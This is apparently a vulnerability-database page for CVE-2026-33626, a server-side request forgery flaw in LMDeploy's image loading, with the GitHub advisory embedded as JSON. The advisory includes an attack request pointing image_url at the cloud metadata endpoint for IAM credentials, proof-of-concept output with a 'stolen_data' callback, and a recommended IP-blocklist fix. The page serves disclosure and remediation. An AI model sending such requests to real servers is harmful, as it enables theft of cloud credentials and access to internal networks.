CVE-2026-33626: Lmdeploy LMDeploy Has Server-Side Request Forgery Vulnerability
HIGHCVE-2026-33626 is a HIGH (CVSS 7.5) lmdeploy has server-side request forgery vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Lmdeploy libraries in the PyPI ecosystem. The issue involves lmdeploy has server-side request forgery (ssrf) via vision-language image loading. Remediation is available in the latest vendor maintenance releases.
CVE-2026-33626 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).
How to Fix CVE-2026-33626
To remediate this vulnerability, upgrade all affected Lmdeploy dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install lmdeploy>=Latest secure release
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show lmdeploy
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-33626, inspect your installed packages using pip:
pip show lmdeploy
Analyze the terminal output to locate any version of Lmdeploy in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.
Note: The pip show lmdeploy command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Lmdeploy, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-33626 Affected Lmdeploy Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
lmdeploy
|
PyPI |
≤ 0.12.2
|
|
References
Frequently Asked Questions
What is CVE-2026-33626?
Which Lmdeploy versions are affected?
What version fixes CVE-2026-33626?
Is lmdeploy affected?
What is the CVSS score of CVE-2026-33626?
What CWE is associated with CVE-2026-33626?
How can I check PyPI dependencies for CVE-2026-33626?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-6w67-hwm5-92mq",
"modified" : "2026-04-21T15:04:13Z",
"published" : "2026-04-21T15:04:13Z",
"aliases" : [ "CVE-2026-33626" ],
"summary" : "LMDeploy has Server-Side Request Forgery (SSRF) via Vision-Language Image Loading",
"details" : "## Summary\n\nA Server-Side Request Forgery (SSRF) vulnerability exists in LMDeploy's vision-language module. The `load_image()` function in `lmdeploy/vl/utils.py` fetches arbitrary URLs without validating internal/private IP addresses, allowing attackers to access cloud metadata services, internal networks, and sensitive resources.\n\n## Affected Versions\n\n- **Tested on:** main branch (2026-02-04)\n- **Affected:** All versions prior to 0.12.3\n\n## Vulnerable Code\n\n**File:** `lmdeploy/vl/utils.py` (lines 64-67)\n```python\ndef load_image(image_url: Union[str, Image.Image]) -> Image.Image:\n # ...\n if image_url.startswith('http'):\n response = requests.get(image_url, headers=headers, timeout=FETCH_TIMEOUT)\n # NO VALIDATION OF URL/IP BEFORE REQUEST\n```\n\n**Also affected:** `encode_image_base64()` function (lines 26-29)\n\n## Root Cause\n\n1. No validation of URLs before fetching\n2. No blocklist for internal IPs (127.0.0.1, 169.254.x.x, 10.x.x.x, 192.168.x.x)\n3. Server binds to `0.0.0.0` by default (api_server.py line 1393)\n4. API keys disabled by default\n\n## Attack Scenario\n\n1. LMDeploy server deployed with vision-language model\n2. Attacker sends request to `/v1/chat/completions` with malicious `image_url`:\n```python\nPOST /v1/chat/completions\n{\n \"model\": \"internlm-xcomposer2\",\n \"messages\": [{\n \"role\": \"user\", \n \"content\": [\n {\"type\": \"text\", \"text\": \"Describe this image\"},\n {\"type\": \"image_url\", \"image_url\": {\"url\": \"http://169.254.169.254/latest/meta-data/iam/security-credentials/\"}}\n ]\n }]\n}\n```\n\n3. Server fetches URL without validation\n4. Attacker receives cloud credentials\n\n## Proof of Concept\n\n### Verified Exploitation Result\n```\n╔═══════════════════════════════════════════════════════════════════════╗\n║ LMDeploy SSRF Vulnerability - Proof of Concept ║\n╚═══════════════════════════════════════════════════════════════════════╝\n\n[1] Starting callback server on port 8889...\n[2] Attacker URL: http://127.0.0.1:8889/SSRF_PROOF?stolen_data=AWS_SECRET_KEY\n[3] Calling vulnerable load_image() function...\n\n======================================================================\n[+] SSRF CALLBACK RECEIVED!\n======================================================================\n Time: 2026-02-04 16:10:57\n Path: /SSRF_PROOF?stolen_data=AWS_SECRET_KEY\n Client: 127.0.0.1:51154\n User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)...\n======================================================================\n\n✅ SSRF VULNERABILITY CONFIRMED!\n```\n\n## Impact\n\n- **Cloud Credential Theft:** Access AWS/GCP/Azure metadata APIs\n- **Internal Service Access:** Reach services not exposed to internet \n- **Information Disclosure:** Port scan internal networks\n- **Lateral Movement:** Pivot point for further attacks\n\n## Recommended Fix\n```python\nfrom urllib.parse import urlparse\nimport ipaddress\nimport socket\n\nBLOCKED_NETWORKS = [\n ipaddress.ip_network('127.0.0.0/8'),\n ipaddress.ip_network('10.0.0.0/8'),\n ipaddress.ip_network('172.16.0.0/12'),\n ipaddress.ip_network('192.168.0.0/16'),\n ipaddress.ip_network('169.254.0.0/16'),\n]\n\ndef is_safe_url(url: str) -> bool:\n try:\n parsed = urlparse(url)\n if parsed.scheme not in ('http', 'https'):\n return False\n ip = socket.gethostbyname(parsed.hostname)\n ip_addr = ipaddress.ip_address(ip)\n return not any(ip_addr in network for network in BLOCKED_NETWORKS)\n except:\n return False\n```\n\n---\n\n## Credit\n\nThis vulnerability was discovered as part of Orca Security's research.\n\n**Researcher:** Igor Stepansky \n**Organization:** Orca Security \n**Emails:** \nigor.stepansky@orca.security \niggy.p0pi@orca.security",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "lmdeploy"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"last_affected" : "0.12.2"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/InternLM/lmdeploy/security/advisories/GHSA-6w67-hwm5-92mq"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33626"
}, {
"type" : "WEB",
"url" : "https://github.com/InternLM/lmdeploy/pull/4447"
}, {
"type" : "WEB",
"url" : "https://github.com/InternLM/lmdeploy/commit/71d64a339edb901e9005358e0633fbbab367d626"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/InternLM/lmdeploy"
}, {
"type" : "WEB",
"url" : "https://github.com/InternLM/lmdeploy/releases/tag/v0.12.3"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-918" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-04-21T15:04:13Z",
"nvd_published_at" : "2026-04-20T21:16:35Z"
}
}